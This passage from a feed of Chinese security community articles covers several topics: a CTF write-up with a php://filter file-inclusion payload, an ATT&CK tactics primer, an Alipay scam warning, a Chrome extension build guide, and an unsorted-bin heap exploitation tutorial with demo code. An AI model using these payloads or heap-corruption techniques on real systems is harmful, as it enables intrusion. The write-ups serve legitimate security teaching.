弱类型比较，payload如下（ **数组绕过** ）
http://211.149.128.46:20001/b8379a669f5cbf18/7/?key[]=1
## 0x02 Dearm II
提示的很清楚， **put 方法提交一个 message** （方法体中提交 message）
抓包。repeater，看到了一个 base64 加密的 flag，解码即可
## 0x03 include
抓包找到关键数据包， **看样子应该是文件包含。**
尝试包含 include1.php 的源码，这里有一个 flag.php，但是被过滤了。提示了一个 include2.php 文件。
拿到 include2.php 的源码， **发现 include2.php 的可以利用**
但是过滤了 base 关键字，没办法使用 base64 编码读出来 flag.php。但是可以使用 **rot13（string.rot13）**
可以参考这里：
<http://www.php.net/manual/zh/wrappers.php.php>
payload:
/e9f5af7deaa28563/11/include2.php?file=php://filter/read=string.rot13/resource=flag
最后 rot13 解码还原即可
flag{79ac2d3112c633687a2447dbb1dc11b2}
## 0x04 数据包分析
2018 红帽杯原题
<https://www.freebuf.com/column/171641.html>
wireshark打开，发现是个压缩包的十六进制流的拼接
使用 tshark 提取出来数据
tshark -r x.pcapng -e http.request.uri -T fields -Y 'http.request.uri' | grep -P 'name=[A-F0-9]{3}' | awk -F '=' '{printf $2}'
仔细观察是一个 zip 压缩包。改一下前面的十六进制：
504B03040A0001080000739C8C4B7B36E495200000001400000004000000666C616781CD460EB62015168D9E64B06FC1712365FDE5F987916DD8A52416E83FDE98FB504B01023F000A0001080000739C8C4B7B36E4952000000014000000040024000000000000002000000000000000666C61670A00200000000000010018000DB39B543D73D301A1ED91543D73D301F99066543D73D301504B0506000000000100010056000000420000000000
发现出来的压缩包有密码，在源数据包中找到
key=1128%23
输入密码得到 flag
flag{tsh4rk_1s_C00l}
## 0x05 MIX
下载下来解压出来是一个 .git 的文件夹
在自己的服务器上部署， **使用 githack 把源码 dump 下来** （貌似可以直接搞出来？）
一个加密的 key.zip 加上一个 没用卵用的 tishi
拿到zip文件，测试伪加密，拿到flag
## 0x06 Wireshark
过滤出 http 流， **发现了一个 8950 的十六进制开头的 png 图片** ，提取出来
在协议分级中找到 Line based 的流，作为过滤器过滤出来。
发现是个 rar 压缩文件。 **这里右键显示明文分组，使用原始数据提取**
使用脚本将十六进制数据写到一个 Rar 文件中。
# -*- coding: utf-8 -*-
s = '2d3e7c526172211a0700cf907300000d00000000000000be0f7420902e0031510000326f000002560a16400ba77c471d3309002000000068656c6......fbac943fe86dff0bfc3ec9dfebfd20f276b72fb6425246cd7ecceb3ed9df1d1e73246a768725760750e76c8fcb00a929a97fe0413fc2fbff10c43d7b004007007c3c2d'
f = open('shu.rar', 'wb')
hex_s = s.decode('hex')
f.write(hex_s)
f.close()
解压出来拿到一张图片，总共两张 png 图片，flag 的各一半，拼接拿到 flag
flag{c7265f898a52fcc4}
## 0x07 caesar N
题目只给了一个凯撒加密的变种字符串。
仔细观察结构，发现前面是 66 6c 61 67 对应着 flag 的 ascii 码
e 对应 7 ，往回推 f 对应 6 ，b 对应 3。对应好之后解码即可。
<https://wishingstarmoye.com/tools/ascii>
## 0x08 美丽
Foremost 分解出文件：
**原来猜想是盲水印攻击** ，但是两张是格式不同的图片，所以搞不了。
后来经过学长提示 **可以使用 compare 命令试试**
compare 命令的解释：
<http://blog.chinaunix.net/uid-24109725-id-2629869.html>
**Compare 对比：生成的图片就是出现差异的数据**
出现二维码
扫描得到 flag
## 0x9 迷失的flag
十六进制工具 winhex 打开发现最后面有一个压缩文件
**foremost 命令将其中的文件提取出来** ，出来一个 flag.txt
打开，&#x 后面是十六进制，编码出来是 Unicode 编码
**发现是unicode码** ，继续解码
或者也可以直接提取出 ascii 码，直接在这里继续解码
<https://wishingstarmoye.com/tools/ascii>
flag{b5e750114efb68791330f3af70cd8fc0}
## 0x10 rot
rot13解码，使用工具解码
## 0x11 解密
**栅栏密码解密**
## 0x12 Easy
IDA 打开，算法逆向
直接写逆向脚本，解 flag | 社区文章 |
# ATT&CK战术入门与案例解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
什么是APT攻击？什么是ATT&CK？今天分享的知识盒子带你快速了解顶尖红队知识。
ATT&CK的全称是Adversarial Tactics, Techniques, and Common Knowledge
(ATT&CK)。它是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型，该模型由MITRE公司提出，这个公司一直以来都在为美国军方做威胁建模。
ATT&CK的目标是创建网络攻击中使用的已知对抗战术和技术的详尽列表。目前，ATT&CK已经成为了网络空间安全最热门的议题之一，它在安全行业中广受欢迎。
ATT&CK会详细介绍每一种攻防技术的利用方式，可以极大地帮助安全人员更快速地了解相关的技术内容。在ATT&CK的技术矩阵中，针对每种技术都有具体场景示例，说明攻击者是如何通过某一恶意软件或行动方案来利用该技术的，还引用了许多博客和安全研究团队发表的文章。因此，如果我们在ATT&CK中没有直接找到相关的技术实例，可以尝试在对应链接的文章中找到更为具体的实例讲解。
这个知识盒子将从以下几个方面来跟大家分享ATT&CK相关内容：
* -ATT&CK是做什么的？
* -ATT&CK的组成部分有哪些？
* -ATT&CK的设计理念及战术划分是什么？
* -ATT&CK Navigator项目内容有哪些？
* -ATT&CK的应用场景有哪些？
* -ATT&CK的战术详解
* -APT的ATT&CK攻击链分析
##
## 模型结构
目前ATT&CK模型由三部分组成，如下图所示：
（1） PRE-ATT&CK：攻击前的准备，例如优先级定义、目标选择、信息收集、发现脆弱点、攻击性利用开发平台，建立和维护基础设施、人员的开发、建立能力和分段能力等。
（2） Enterprise：攻击时的部分已知技术手段，例如访问初始化、执行、常驻、提权、防御规避、访问凭证、发现、横向移动、收集、数据获取、命令和控制等。
（3） Mobile：移动端的部分已知技术手段，移动框架和Enterprise类似，只是适用的平台不同。
## 技术域和平台
从官网展示出的框架种可以看出，ATT&CK最直观的表现是一个矩阵。那么，根据上面的模型结构，如果按照技术域(Technology
Domains)和平台(Platform)进行分类，其内容如下：
## 设计理念
通过前面的基本介绍，我们可以知道ATT&CK的一些基本组成情况。下面，我们将进一步介绍ATT&CK的主要设计理念和战术划分，以帮助大家更好地进行学习。
ATT&CK之所以有效，是因为所有战术、技术和流程 (TTP) 都基于现实世界中观察到的真实攻击团伙所为。
很多攻击团伙都用相同的技术，就好像攻击团伙有自己的战术手册，还用此战术手册让新成员快速上手似的。
其主要的设计理念如下：
① It maintains the adversary’s perspective （基于攻击者视角）
② It follows real-world use of activity through empirical use examples
（追踪现实世界中的使用和出现过的用法）
③ The level of abstraction is appropriate to bridge offensive action with
possible defensive countermeasures （抽象层次恰好可以较好地将攻击手法和防守措施联系起来）
## 战术划分
ATT&CK for Enterprise将网络安全事件划分为12个阶段，可看作是12种战术指导思想，可以研究并分析过往攻击者每个攻击阶段所用的 TTP。
ATT&CK战术按照逻辑分布在多个矩阵中，以 “初始访问” 战术开始，共包含12项战术：
初始访问–> 执行–> 持久化–> 提权–> 防御绕过–> 凭据访问–> 探索发现–> 横向移动–> 收集信息–> 命令与控制–> 数据渗漏–> 影响
通常来说，攻击者不会使用全部12项战术用于同一次攻击,
因为这会增加被发现的几率。但不管怎样，12项战术的顺序是一定的，也就是说某种程度上攻击者的攻击行为是可以预测到的，那么我们有必要把12项战术依次讲解一下。
### （1）初始访问
首先是初始访问战术，尽管ATT&CK并不是按照任何线性顺序排列的，但初始访问是攻击者在企业环境中的立足点。对于企业来说，该战术是从PRE-ATT&CK到ATT&CK的理想过渡点。攻击者会使用不同技术来实现初始访问技术。
### （2）执行
“执行”战术是所有攻击者都必然会采用的一个战术，因为无论攻击者通过恶意软件、勒索软件还是APT攻击等手段，为了能成功攻入主机最终都会选择“执行”战术。这是逃不开、躲不掉的，但换个角度想，如果恶意软件必须运行，安全防御人员将有机会阻止或者检测他，无论是主动出击式还是守株待兔式，都有可能成功防住。但是值得注意的是，并非所有的恶软都是可以用杀毒软件轻松找到的可执行文件，成熟的恶软会被攻击者精心包装，做了免杀加壳甚至自动备份隐藏，在面对这种机器无法扫描到的情况就需要人来进行干预。
### （3）持久化
“持久化”战术是所有攻击者最受追捧的技术之一，除勒索软件外，大部分攻击者的存活时间取决于你何时被检测系统发现，试想一下，一个攻击者花了很大的攻击成本攻入了某台主机后，他必然不愿意再花同样的时间成本浪费在下次登陆的过程中，所以最简便最能减少工作量的方法就是“留后门”或者叫“持久化”。在攻击者成功执行完“持久化”之后，即便运维人员采取重启、更改凭据等措施后，持久化依然可以让计算机再次感染病毒或维护其现有连接。例如“更改注册表、启动文件夹、镜像劫持（IFEO）”等等。
### （4）提升权限
“提权”战术也是攻击者比较追捧的技术之一，毕竟不是每位攻击者都能够使用管理员账号进行攻击，谁都希望自己能获得最大的权限，利用系统漏洞达到root级访问权限可以说是攻击者的核心目标之一了。
### （5）防御绕过
“防御绕过”战术直至目前最新版的ATT&CK框架，仍是拥有技术最多的战术，目前包含69项技术。而防御绕过中有一些技术可以让一些恶意软件骗过防病毒产品，让这些防病毒产品根本无法对其进行检查，又或者绕过白名单技术。例如，修改注册表键值、删除核心文件、禁用安全工具等等。当然作为防御者的我们，在应对此类战术时可以通过监视终端上的更改并收集关键系统的日志将会让入侵无处遁形。
### （6）凭据访问
“凭据访问”也是攻击者当中较为火热的战术，毫无疑问，“凭据”是攻击者最想要的东西之一，因为有了凭据，不仅能节省下来大量的攻击成本，而且减少了攻击被发现的风险。试想一下，如果攻击者可以堂而皇之的进行登录，那么为什么要花费大量的攻击成本冒险使用0day漏洞入侵呢。
### （7）探索发现
“发现”战术可以说是整个ATT&CK框架中最难以防御的策略，可以说是“防不胜防啊”。其实“发现”战术与洛克希德·马丁网络Kill
Chain的侦查阶段有很多相似之处。组织机构要正常运营业务，肯定会暴露某些特定方面的内容。
###
### （8）横向移动
“横向移动”战术是攻击者常用战术之一，在攻击者利用某个漏洞进入系统后，无论是为了收集信息还是继续为了下一步攻击寻找突破点，通常都会尝试在网络内横向移动。哪怕是勒索软件，甚至是只针对单个系统的勒索软件，通常也会试图在网络中移动寻找其攻击目标。攻击者一般都会先寻找一个落脚点，然后开始在各个系统中移动，寻找更好的访问权限，最终控制整体网络。
### （9）收集
“收集”战术是一种攻击者为了发现和收集实现目标所需的数据而采取的技术。但是该战术中列出的许多技术都没有关于如何减轻这些技术的实际指导。实际上，大多数都是含糊其辞，称使用应用白名单，或者建议在生命周期的早期阶段阻止攻击者。
### （10）命令和控制
现在大多数恶意软件都有一定程度的命令和控制权。黑客可以通过命令和控制权来渗透数据、告诉恶意软件下一步执行什么指令。对于每种命令和控制，攻击者都是从远程位置访问网络。因此了解网络上发生的事情对于解决这些技术至关重要。
### （11）数据渗漏
攻击者获得访问权限后，会四处搜寻相关数据，然后开始着手数据渗透。但并不是所有恶意软件都能到达这个阶段。例如，勒索软件通常对数据逐渐渗出没有兴趣。与“收集”战术一样，该战术对于如何缓解攻击者获取公司数据，几乎没有提供指导意见。
### （12）影响
“影响”是ATT&CK最后一项战术，攻击者试图操纵、中断或破坏企业的系统和数据。用于影响的技术包括破坏或篡改数据。在某些情况下，业务流程可能看起来很好，但可能已经更改为有利于对手的目标。这些技术可能被对手用来完成他们的最终目标，或者为机密泄露提供掩护。
总的来说，每项战术的纵列对应着不同的技术内容，而且每种技术都有唯一的ID号码，童鞋们只需在官网矩阵中对应点击链接即可查看详细讲解进行深入学习。
这些向下的纵列展开每个技术的流程，可以帮助我们更好地理解不同攻击团伙是怎么执行此技术的。然后还可以用此知识对自身网络中活跃攻击者的行为，构建检测和防御措施。
目前，国内已有研究人员将该框架的翻译版本开源，具体内容也可对应进行深入学习（简直是福音～）
这个知识盒子对12种战术进行了详细的描述，以及案例的分析：
订阅链接：<https://zhishihezi.net/box/91c93f609d9dd7b7ca15e0ad2ad520d8?u_source=anquanke3> | 社区文章 |
# 高发诈骗！骗子“盯”上支付宝，有人被骗上万元
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
支付宝用户群体庞大，使用起来特别方便。但是，很少有人知道支付宝的一个功能，正在被一些不法分子所使用…
## 商品质量有问题，“客服”找上门退款
小王接到自称是支付宝“客服”的电话，声称小王此前购买的商品有质量问题要进行退款。“我之所以没有怀疑（是骗子），因为对方一开始就知道我个人信息，对于我购买的东西、价格都很清楚很了解。”
按照“客服”的说法，会把退款打到小王的支付宝账户。等了一会，也没有收到支付宝退款。”对方又让我打开支付宝的备用金，领取500元。表示这部分由商家来归还。”
**由于购买商品价格与备用金有差价，“客服”要求退还差价并引导添加了支付宝“客服”的QQ。**
## 一个多小时三次转款被骗5.3万元
小王按照指示，一直在向支付宝“客服”说明，自己“误领理赔金202元”。 **转款后，对方以超时卡单为由，又要求小王转钱到固定的银行账户上。**
这一次的“理赔”，不再是通过“备用金理赔通道”，而是另一种“还呗理赔通道”，而 **“还呗”其实是一款信用卡账单分期产品。**
随后对方又以做流水、用户信用分太低为由，要求小王打款2900元。“客服”给小王提供了一张截图，上面显示的备注写明：“保证金已下发至还呗，辅助关闭理赔通道，清空无需本人还款。”就这样，小王再次打款4.9万元到对方指定银行账户。一个多小时里，小王三次分别打款202元、2900元、49988.6元。
事后，小王向支付宝、网络卖家、快递方都反映了此事，三方均表示没有透露过小王的个人信息。据悉，
**“备用金”是一款借贷产品，里面的钱不是骗子转给你的钱，是支付宝借给你的钱，卖家返款退款也不会转到备用金里。**
## 支付宝备用金骗局的诈骗手法
无独有偶，全国各地出现不少类似小王这样的支付宝备用金骗局。
## 安全课堂
n接到自称商家、客服的退款或理赔电话时，要先跟官方平台核实确认。
n不要轻信对方编造的各种理由的转账要求，更不要脱离平台进行交易。
n发现被骗，及时收集证据，立即报警。 | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team
Chinese Version: <https://paper.seebug.org/1115/>
**
Our last two researches are about Chrome Ext security. This time we will put
Chrome extension security aside and introduce an extra part of Chrome Ext -Zoomeye Tools.
Starting from developing a plugin, this paper allows us to look at the
problems between different levels of chrome in a different perspective.
Our main purpose is to complete a Zoomeye auxiliary plugin.
* [Download Zoomeye Tools](https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj)
# Core and Function Design
In zoomeye Tools, we mainly added auxiliary functions for zoomeye. Before
designing, we must know what kind of functions we need.
Here we need to implement two major functions,
1.First, we need to complete a simple version of zoomeye interface, which is
used to display the search results of the corresponding IP of the current
domain.
2.We will complete some auxiliary functions of zoomeye, such as copying the
left and right ip of search results with one click, etc ...
Here we study the parts needed for these two functions separately:
## zoomeye minitools
Regarding some auxiliary functions of Zoomeye, here we first take a
requirement as an example. We need a function that can copy all the IPs in the
Zoomeye page, so we can write scripts or just use this information.
Before we start, we must clarify the permission system and communication
methods between different levels in the chrome plugin:
I focused on this part in the first article.
* [Getting Started with Chrome Ext Security from Zero（1） -- A New Chrome Ext](https://lorexxar.cn/2019/11/22/chrome-ext-1/#%E6%9D%83%E9%99%90%E4%BD%93%E7%B3%BB%E5%92%8Capi)
This function we need to complete can be simply quantified as the following
process:
User clicks on browser plug-in function
->
Browser plugin reads content of current Zoomeye page
->
Parse the content and extract the content and write it to the clipboard according to the format
Of course, this is human thinking. Combined with the permission system and
communication method of the chrome plugin, we need to disassemble each part
into a corresponding solution.
* The ability of users to click on browser plugins
When the user clicks the icon of the browser plug-in, the functions in
popup.html will be displayed and the corresponding js code added in the page
will be executed.
* Browser plugin reads content of current Zoomeye page
Since the popup script does not have permission to read the page content, we
must communicate the content script through `chrome.tabs.sendMessage`, and
read the page content through the content script.
* Parse and extract the content and write it to the clipboard according to the format
After the content script reads the page content, it needs to send data back
via `sendResponse`.
After the popup receives the data, we need to write the data to the clipboard
through special techniques
function copytext(text){
var w = document.createElement('textarea');
w.value = text;
document.body.appendChild(w);
w.select();
document.execCommand('Copy');
w.style.display = 'none';
return;
}
Here we creat a new textarea tag and select its content, then copy it.
The overall process is as follows
## Zoomeye Preview
Different from the functions of minitools, the first problem we encounter is
the authentication system of zoomeye itself.
In the design of Zoomeye, most of the search results need to be used after
logging in, and the corresponding multiple request APIs are verified by jwt.
This jwt token will be stored in the browser's local storage during the login
period.
We can simply draw the architecture like this
Before we continue to design the logic of the code, we must first determine
the logic flow. We still quantify the flow into the following steps:
The user clicks on the Zoomeye tools plugin
-->
After checking the data, the plug-in confirms that it is not logged in and tells the user.
-->
The user clicks the button to jump to the login page
-->
The plugin obtains the credentials and stores it
-->
The user clicks the plugin after opening the website
-->
The plugin obtains zoomeye data through credentials and requested host
-->
Feed some data into the page
Then we cooperated with the logic of the chrome plug-in system to convert the
previous steps into the program logic flow.
* User clicks on Zoomeye tools plugin
The plugin will load the popup.html page and execute the corresponding js
code.
* After checking the data, the plug-in confirms that it is not logged in and tells the user.
The plugin will obtain the zoomeye token stored in `chrome.storage`, and then
request`zoomeye.org / user` to determine whether the login credentials are
valid. If it doesn't work, it will show need login in popup.html. And hide
other div windows.
* The user clicks the button to jump to the login page
When the user clicks the button, the browser will open `https:
//sso.telnet404.com/cas/login? service = https% 3A% 2F% 2Fwww.zoomeye.org%
2Flogin`
If the user is currently logged in, this page will be directed to zoomeye and
the corresponding data will be written to localStorage.
* Saved after the plugin obtains credentials
Due to the separation of front-end and back-end operations, all bg scripts
need an obvious sign to prompt the need to obtain the login credentials of the
browser front-end. I set this as **When the tab changes, the domain belongs to
zoomeye.org and is not logged in** At this time, the bg script will use
`chrome.tabs.executeScript` to enable the front end to obtain localStorage and
store it in chrome.storage.
In this way, the plugin gets the most critical jwt token
* The user clicks the plugin after opening the website
After completing the login problem, the user can use the proview function
normally.
After the user opens the website, in order to reduce the waiting time for data
loading, the bg script will start to get the data directly.
* The plugin obtains zoomeye data through credentials and requested host
The back-end bg script inspires the data acquisition event by judging the tab
state change, and the plug-in requests it through the account credentials
obtained earlier.
`https: //www.zoomeye.org/searchDetail? type = host & title =` And parse the
json to get the corresponding IP data.
* Feed some data into the page
When the user clicks on the plugin, the popup script checks whether the URL of
the current tab is consistent with the data in the back-end global variables,
and then passes
bg = chrome.extension.getBackgroundPage ();
To get the global variables of bg. The data is then written to the page.
The structure of the entire process is as follows:
# Complete The Plugin
After completing the architecture design, as long as we follow the various
permission systems between different levels of the plugin, we can complete the
basic design. With our functions, the manifest.json we generated is as follows
{
"name": "Zoomeye Tools",
"version": "0.1.0",
"manifest_version": 2,
"description": "Zoomeye Tools provides a variety of functions to assist the use of Zoomeye, including a proview host and many other functions",
"icons": {
"16": "img/16_16.png",
"48": "img/48_48.png",
"128": "img/128_128.png"
},
"background": {
"scripts": ["/js/jquery-3.4.1.js", "js/background.js"]
},
"content_scripts": [
{
"matches": ["*://*.zoomeye.org/*"],
"js": ["js/contentScript.js"],
"run_at": "document_end"
}
],
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';",
"browser_action": {
"default_icon": {
"19": "img/19_19.png",
"38": "img/38_38.png"
},
"default_title": "Zoomeye Tools",
"default_popup": "html/popup.html"
},
"permissions": [
"clipboardWrite",
"tabs",
"storage",
"activeTab",
"https://api.zoomeye.org/",
"https://*.zoomeye.org/"
]
}
# Upload Plugin to Chrome Store
Chrome no longer allows self-signed plugins. If you want to install this on
chrome, you must spend $5 to register as a chrome plugin developer.
Chrome has its own security system. If you have plugins that work under
multiple domain names, you have to add additional review before reviewing
plugins. If you want to submit your plugin quickly, then you must follow the
rules of chrome.
You can do this in Chrome's Developer Information Center.
# Instructions of Zoomeye Tools
## Installation
All Chrome browsers can be downloaded directly
* <https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj>
After completing installation
## Instructions
Because Zoomeye Tools provides two functions, one is Zoomeye auxiliary tool,
and the other is Zoomeye preview.
### Zoomeye Auxiliary Tools
First of all, the first function is to cooperate with Zoomeye, which will only
take effect in the Zoomeye domain. This function does not require login to
Zoomeye.
Open Zoomeye and search for any banner, wait for the page to load, and then
click the plugin icon in the upper right corner to see the two additional
options.
If we choose copy all ip with LF, then the clipboard is
23.225.23.22:8883
23.225.23.19:8883
23.225.23.20:8883
149.11.28.76:10443
149.56.86.123:10443
149.56.86.125:10443
149.233.171.202:10443
149.11.28.75:10443
149.202.168.81:10443
149.56.86.116:10443
149.129.113.51:10443
149.129.104.246:10443
149.11.28.74:10443
149.210.159.238:10443
149.56.86.113:10443
149.56.86.114:10443
149.56.86.122:10443
149.100.174.228:10443
149.62.147.11:10443
149.11.130.74:10443
If we choose copy all url with port
'23.225.23.22:8883','23.225.23.19:8883','23.225.23.20:8883','149.11.28.76:10443','149.56.86.123:10443','149.56.86.125:10443','149.233.171.202:10443','149.11.28.75:10443','149.202.168.81:10443','149.56.86.116:10443','149.129.113.51:10443','149.129.104.246:10443','149.11.28.74:10443','149.210.159.238:10443','149.56.86.113:10443','149.56.86.114:10443','149.56.86.122:10443','149.100.174.228:10443','149.62.147.11:10443','149.11.130.74:10443'
### Zoomeye Preview
The second function is a simplified version of Zoomeye. This function requires
login to Zoomeye.
In any domain, we click Login Zoomeye in the upper right corner. If you have
previously logged in to Zoomeye, you will be automatically logged in directly.
If not, you need to log in from the telnet404 page.
After accessing the webpage, click the plug-in icon in the upper right corner,
we can see the relevant IP information and open ports
# Summary
Finally, we can publish it on Chrome Developer Center as long as we get
approval.
The final chrome plugin download link:
* [Download Zoomeye Tools](https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj)
* * * | 社区文章 |
# 堆利用系列之unsorted bin攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文首先通过一个unsorted bin attack的例程解释其基本原型。然后通过详细的记录0CTF 2016 –
Zerostorage的解题过程，包括解题思路，以及解题中遇到的困难和错误都按照时间线的方式记录下来了，我认为这种原汁原味的writeup相比于标准答案可能更能给大家一些参考信息。
## unsorted bin attack例程
首先一个例子解释什么是unsorted bin attack,大家自行根据我之前的系列文章改用2.23版本的libc进行运行调试
#include <stdio.h>
#include <stdlib.h>
unsigned long remissions;
int main(void)
{
puts("So we will be covering an unsorted bin attack.");
puts("The unsorted bin is a doubly linked list.");
puts("This attack will allow us to write a pointer to the address of our choosing.");
puts("While this attack really doesn't give us much control over what we write, we can count on it being a ptr (which will probably be a 'large' integer)");
puts("Let's get started.\n");
printf("So our goal will be to overwrite the value of the 'remissions' global variable.\n");
printf("It is at the bss address: \t%p\n", &remissions);
printf("With the value: \t\t%0lx\n\n", remissions);
printf("We will start by allocating two chunks. One to insert into the unsorted bin.\n");
printf("The other to prevent consolidation with the top chunk.\n");
unsigned long *ptr0 = malloc(0xf0);
unsigned long *ptr1 = malloc(0x10);
printf("We have allocated our first chunk at:\t%p\n", ptr0);
printf("Now let's free it to insert it into the unsorted bin.\n\n");
free(ptr0);
printf("Now that it has been inserted into the unsorted bin, we can see it's fwd and bk pointers.\n");
printf("fwd:\t0x%lx\n", ptr0[0]);
printf("bk:\t0x%lx\n\n", ptr0[1]);
printf("Now when a chunk gets removed from the unsorted bin, a pointer to gets written to it's back chunk.\n");
printf("Specifically a pointer will get written to bk + 0x10 on x64 (bk + 0x8 for x86).\n");
printf("That is where we get our ptr write from.\n\n");
printf("So by using a bug, we can edit the bk pointer of the freed chunk to point to remissions - 0x10.\n");
printf("That way when the chunk leaves the unsorted bin, the pointer will be written to remissions.\n\n");
ptr0[1] = (unsigned long)(&remissions - 0x2);
printf("The current fwd and bk pointers after the write.\n");
printf("fwd:\t0x%lx\n", ptr0[0]);
printf("bk:\t0x%lx\n\n", ptr0[1]);
printf("Now we allocate a new chunk of the same size to remove our freed chunk from the unsorted bin.");
printf("This will trigger the write to remissions, which has a current value of 0x%lx\n", remissions);
malloc(0xf0);//------------------------>c1
printf("Now we can see that the value of remissions has changed.\n");
printf("remissions:\t0x%lx\n", remissions);
}
我们根据之前学习到的堆的知识，直接自己画图分析整个程序的所作所为。
当我们在c1处再次malloc(0xf0)的时候，实际上就是把原来在unsorted
bin上的chunk0给分配回来，这就涉及到了把原来的chunk从unsorted
bin上给解链下来。根据之前的文章我们分析过，解链需要涉及到两个指针的写入，分别是chunk0的fd指向chunk的bk指针，以及chunk0的bk指向的chunk的fd指针。
chunk0->fd->bk = chunk0->bk
chunk0->bk->fd = chunk0->fd
有同学可能会问，这不就是unlink操作吗，unlink操作不是要进行一次证明“你的前面一个人的后一个人就是你自己的校验吗”
没错这个本质上就是unlink，但是unlink只会在consolidate的时候调用，在glibc源码中，unlink函数只在free函数和malloc_consolidate的时候被调用，在malloc的从unsorted
bin中分配并没有调用
malloc_consolidate中的两次调用
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */
/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
...
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd); //-------------->调用unlink
}
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd); //-------------> 调用unlink
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...
}
free函数中的两次调用
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd;
...
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd); //--------------------------->调用unlink
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd); //--------------------------->调用unlink
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...
而对于从unsorted bin中malloc的逻辑，是直接这样改写的指针，并没有借用unlink函数
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
我们通过调试观察是否&remissions
gef➤ x/gx &remissions
0x555555756018 <remissions>: 0x00007ffff7dd1b78
而指向的unsorted bin的前面的地址是main_arena + 88的地址
main_arena的地址为
gef➤ heap arenas
Arena (base=0x7ffff7dd1b20
0x7ffff7dd1b20 + 88 = 0x7ffff7dd1b78
这种unsorted bin一种典型的应用就是泄露libc的地址。
## 0ctf 2016 – Zerostorage
题目的[下载地址](https://github.com/ctfs/write-ups-2016/blob/master/0ctf-2016/exploit/zerostorage-6/zerostorage.tar.gz)
### 漏洞点
在merge函数中，如果两个index相同，则会造成UAF，即原来的chunk被free放到unsorted
bin中，同时误以为已经merge，被free的chunk还是可以被访问。
### 利用思路
由于本题有分配大小的限制，小于0x80的不能分配，因此直接使用fastbin attack将会受到限制，但是我们可以通过unsorted
bin先修改global_max_fast的值，使得即使分配大于0x80的chunk，仍然使用的是fast
bin，这样就绕过了长度限制，后面就是常规的fastbin attck利用技术。难点主要是global_max_fast的改写，具体流程见下图
### 关键步骤调试记录
#### 如何确定global_max_fast的地址
在网上看了几篇文章的解，我只看到了直接通过gdb打印出global_max_fast的地址的解，但是我用自己下载的libc，并没有这个global_max_fast符号，因为这是一个static变量，是可以被strip去符号的。不太清楚别人是怎么搞得，我只能通过原理上去找这个地址。
首先通过ida打开libc的二进制文件，然后在源码中查找处理global_max_fast这个值的函数。
我在mallopt函数中找到了set_max_fast
int
__libc_mallopt (int param_number, int value)
{
mstate av = &main_arena;
int res = 1;
if (__malloc_initialized < 0)
ptmalloc_init ();
(void) mutex_lock (&av->mutex);
/* Ensure initialization/consolidation */
malloc_consolidate (av);
LIBC_PROBE (memory_mallopt, 2, param_number, value);
switch (param_number)
{
case M_MXFAST:
if (value >= 0 && value <= MAX_FAST_SIZE)
{
LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ());
set_max_fast (value); // 设置global max fast值
}
...
set_max_fast是一个宏定义
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
做的事情就是给global_max_fast赋值。
在ida中查找类似的代码，首先找到了mallopt这个函数，由于这个函数是一个对外输出的函数，所以是不能被strip掉的，这也是为什么通过这个函数找global_max_fast的原因。
__int64 __fastcall mallopt(int a1, int a2)
{
__int64 v2; // rbp
__int64 v4; // rdx
unsigned __int64 v5; // rax
v2 = a2;
if ( dword_3C3144 < 0 )
sub_849E0();
_ESI = 1;
if ( !dword_3C87A0 )
{
__asm { cmpxchg cs:dword_3C3B20, esi }
if ( !dword_3C87A0 )
goto LABEL_8;
goto LABEL_7;
}
if ( _InterlockedCompareExchange(&dword_3C3B20, 1, 0) )
LABEL_7:
sub_1147C0(&dword_3C3B20, 1LL);
LABEL_8:
sub_7E460(&dword_3C3B20, 1LL);
switch ( a1 )
{
case -8:
if ( (int)v2 <= 0 )
goto LABEL_24;
v4 = 1LL;
qword_3C3180 = v2;
break;
case -7:
...
case 1:
v4 = 0LL;
if ( (unsigned int)v2 <= 0xA0 )
{
v5 = 16LL;
if ( (_DWORD)v2 )
v5 = ((int)v2 + 8LL) & 0xFFFFFFFFFFFFFFF0LL;
qword_3C5848 = v5; // --------------------------> global_max_fast
v4 = 1LL;
}
....
